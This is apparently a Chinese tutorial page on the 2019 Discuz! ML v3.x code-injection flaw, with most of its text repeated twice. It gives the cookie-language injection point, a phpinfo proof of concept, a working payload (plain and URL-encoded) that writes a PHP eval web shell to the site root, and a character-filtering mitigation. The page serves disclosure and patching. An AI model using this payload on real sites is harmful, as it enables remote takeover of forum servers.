您现在的位置是:首页 > cms教程 > Discuz教程Discuz教程
Discuz ML! V3.X 代码注入漏洞的修复方法
钟召云2025-07-06Discuz教程已有人查阅
导读Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台,用于构建像“社交网络”这样的互联网社区,该引擎基于Comsenz Inc.创建的着名的Discuz!
Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台,用于构建像“社交网络”这样的互联网社区,该引擎基于Comsenz Inc.创建的着名的Discuz!X引擎开发。
0x01 漏洞描述1.1 简单描述
2019年7月11日, Discuz!ML被发现存在一处远程代码执行漏洞,攻击者通过在请求流量的cookie字段中的language参数处插入构造的payload,进行远程代码执行利用,该漏洞利用方式简单,危害性较大。
本次漏洞是由于Discuz! ML对于cookie字段的不恰当处理造成的
cookie字段中的language参数未经过滤,直接被拼接写入缓存文件之中,而缓存文件随后又被加载,从而造成代码执行
简而言之,如下图流程可以简单的理解该漏洞
首先,通过cookie传入payload,构造好的payload被写入template文件中:
接着,这个 入payload的template.php文件被include,造成代码执行:
1.2 受影响的系统版本
Discuz! ML v.3.4
Discuz! ML v.3.3
Discuz! ML v.3.20x02 漏洞分析
详情请见:代码注入漏洞深度分析/0x03 漏洞演示3.1 环境搭建
解压后将upload所有内容放到网站目录,访问一步步安装即可。
3.2 漏洞定位
在上面的漏洞分析中,可将漏洞信息总结如下:外部参数$lng(即language语言)可控,导致template 函数生成的临时模板文件名可操纵,插入自己的代码,最终include_once包含一下最终导致了代码注入。所以有包含template 函数的网页中,都存在此类的代码注入点。
3.3 漏洞测试演示
注:在此我将用论坛的主页面(index.php),作为漏洞的演示:
首先看首页里的cookis值中就包含我们想要的language参数:
动手构造我们的POC(测试代码):在26D7_2132_language=sc后面添加以下内容:
EXP(原):
(3)在主页中进行代码注入,则上传的shell.php在网站根目录下:
(4)看看效果:满分
漏洞修复
VulkeyChen师傅的建议:单看语言这个点,在/source/class/discuz/discuz_application.php 第338行之后341行之前加入该代码暂缓此安全问题:
0x01 漏洞描述1.1 简单描述
2019年7月11日, Discuz!ML被发现存在一处远程代码执行漏洞,攻击者通过在请求流量的cookie字段中的language参数处插入构造的payload,进行远程代码执行利用,该漏洞利用方式简单,危害性较大。
本次漏洞是由于Discuz! ML对于cookie字段的不恰当处理造成的
cookie字段中的language参数未经过滤,直接被拼接写入缓存文件之中,而缓存文件随后又被加载,从而造成代码执行
简而言之,如下图流程可以简单的理解该漏洞
首先,通过cookie传入payload,构造好的payload被写入template文件中:
接着,这个 入payload的template.php文件被include,造成代码执行:
1.2 受影响的系统版本
Discuz! ML v.3.4
Discuz! ML v.3.3
Discuz! ML v.3.20x02 漏洞分析
详情请见:代码注入漏洞深度分析/0x03 漏洞演示3.1 环境搭建
解压后将upload所有内容放到网站目录,访问一步步安装即可。
3.2 漏洞定位
在上面的漏洞分析中,可将漏洞信息总结如下:外部参数$lng(即language语言)可控,导致template 函数生成的临时模板文件名可操纵,插入自己的代码,最终include_once包含一下最终导致了代码注入。所以有包含template 函数的网页中,都存在此类的代码注入点。
3.3 漏洞测试演示
注:在此我将用论坛的主页面(index.php),作为漏洞的演示:
首先看首页里的cookis值中就包含我们想要的language参数:
动手构造我们的POC(测试代码):在26D7_2132_language=sc后面添加以下内容:
'.phpinfo().'
成功返回phpinfo()响应,证明此系统存在代码注入漏洞!3.4 漏洞执行演示EXP(原):
'.file_put_contents('shell.php',urldecode('<?php eval($_POST["mo"]);?>')).'
(因为改动的COOKIE中包含分号,其中有可能会出现语法错误,所以这里采用URL编码格式,之后再解过来就没问题了)EXP(改):
%27.file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522mo%2522%255d%29%253b%253f%253e%27%29%29.%27
(2)修改cookie中的xxx_language值为exp内容:这里加上exp后,主页返回正常(3)在主页中进行代码注入,则上传的shell.php在网站根目录下:
(4)看看效果:满分
漏洞修复
VulkeyChen师傅的建议:单看语言这个点,在/source/class/discuz/discuz_application.php 第338行之后341行之前加入该代码暂缓此安全问题:
$lng = str_replace("(","",$lng);
$lng = str_replace(")","",$lng);
$lng = str_replace("'","",$lng);
$lng = str_replace('"',"",$lng);
$lng = str_replace('`',"",$lng);
本文标签:
很赞哦! ()
下一篇:Discuz开源代码结构小分析
相关教程
图文教程
Discuz开发微信小程序流程和框架选择
1. 分析Discuz功能,确定小程序实现的功能;2. 选择uni-app框架,因其跨平台兼容性、丰富组件库和强大社区支持;3. 注意数据同步、用户体验和性能优化;4. 灵活解决如权限系统等挑战。
discuz美化提升外观和体验的方法
Discuz可以通过美化插件和自定义CSS提升外观和体验。具体方法包括:使用美化插件,如DiscuzPlus、SimpleStyle和ElegantStyle。自定义CSS文件(style.css)编辑关键CSS类,
discuz数据库结构说明文档
表格数量:67个字段数量:742个cdb_access 访问权限表uid mediumint 会员IDfid smallint 论坛IDallowview tinyint 允许浏览allowpost tinyint 允许发表allowreply tinyi
Xweibo for Discuz X1.5V1.1安装教程
修复Discuz!X 1.5 RELEASE 20110121中的安全机制更改,触发插件安全机制而引发无法同步主题到微薄的问题Xweibo for Discuz!X1.5V1.1 Release 2025-01-21
相关源码
-
(PC+WAP)绿色市政园林建筑设计绿化营销型pbootcms网站模板本模板基于PbootCMS系统开发,为园林绿化、景观设计类企业设计,特别适合市政园林、景观工程、绿化养护等企业使用。采用双端适配技术查看源码 -
(自适应HTML5)响应式智能设备人工智能机器pbootcms源码免费下载这款基于PbootCMS开发的网站模板为人工智能和智能设备行业设计,采用现代化科技风格,突出产品的智能特性和技术创新。模板架构合理,功能完善,能够有效展示各类智能产品的核心功能和解决方案。查看源码 -
响应式粉色美容整形化妆品pbootcms网站模板开源源码该网站模板为美容整形、化妆品企业设计,采用响应式布局确保在手机、平板及PC端自动适配显示效果。基于PbootCMS内核开发,支持一键替换图文内容快速转换至其他行业应用。查看源码 -
帝国cms7.5游戏门户H5小游戏网站模板源码免费下载基于帝国CMS7.5开发的H5游戏门户模板,为在线游戏平台设计。支持PC端与移动端同步生成,打造完整的游戏娱乐体验平台。查看源码 -
(PC+WAP)五金机械设备营销型模板下载带在线留言为机械设备制造商设计的营销型模板,集成产品参数对比系统、产品展示模块和询价管理功能。采用PbootCMS开发内核,PHP7+运行环境。手工编写语义化HTML5结构,CSS3动画优化交互体验。查看源码 -
(PC+WAP)蓝色五金机械设备营销型网站源码下载基于PbootCMS内核开发的营销型企业网站模板,为五金机械设备类企业打造,通过标准化数字展示提升客户转化率。模板采用模块化设计,可快速适配机床工具、建筑五金、阀门管件等细分领域。查看源码
| 分享笔记 (共有 篇笔记) |
